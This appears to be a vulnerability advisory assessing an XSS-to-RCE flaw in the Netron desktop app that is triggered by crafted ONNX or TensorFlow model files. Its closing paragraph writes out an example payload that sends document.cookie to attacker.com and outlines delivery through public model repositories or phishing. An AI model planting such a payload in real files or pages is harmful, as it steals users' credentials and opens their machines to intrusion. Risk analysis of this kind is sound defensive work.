Netron EUVD-2026-67091

Exploitation requires the victim to open a malicious model file in the Netron desktop application (UI:P - passive user interaction). No authentication, elevated privileges, or special configuration of Netron is required to trigger the XSS - the vulnerable code paths execute during normal model visualization for any loaded file. Escalation from XSS to RCE additionally requires availability of a Chrome n-day compatible with the Electron runtime's bundled Chromium version; without such a bug, impact is limited to JavaScript execution in the renderer context (port scanning, data exfiltration from the app context). The vulnerability does NOT apply to Netron running as a web application in a standard browser, only to the Electron desktop build. Exploitation is further limited by the need to deliver the malicious model file to the victim, which typically requires social engineering or compromise of a model repository the victim trusts.

The CVSS 4.0 score of 6.8 with AV:L reflects that exploitation requires a user to open a malicious file, appropriately scoping this as a local attack. VC:H in the provided vector aligns with port scanning capability and potential credential/data exposure in the Chromium context. SC:L acknowledges that subsequent systems (local network hosts) can be probed. The RCE impact described in the HiddenLayer advisory is conditional - it depends on the availability of a suitable Chrome n-day for the Electron runtime's bundled Chromium version, meaning practical RCE exploitability varies by Electron/Chromium version and patch state. The vulnerability is not in CISA KEV and no confirmed POC exists in the provided data, limiting urgency for most defenders. However, the ML/AI practitioner audience frequently opens model files from public sources like Hugging Face or arxiv-linked repositories - a natural social engineering vector that elevates real-world risk above what the local attack vector alone suggests.

An attacker embeds a JavaScript payload (e.g., <img src=x onerror=fetch('http://attacker.com/?d='+btoa(document.cookie))>) into node names within a crafted ONNX or TensorFlow model file and uploads it to a public model repository or sends it via phishing. When an ML engineer opens the file in Netron ≤9.1.2 desktop, the payload executes in the Chromium renderer, enabling port scanning of the local network. If the attacker also has access to an applicable Chrome n-day matching the Electron runtime's bundled Chromium version, the XSS can be escalated to host-level code execution.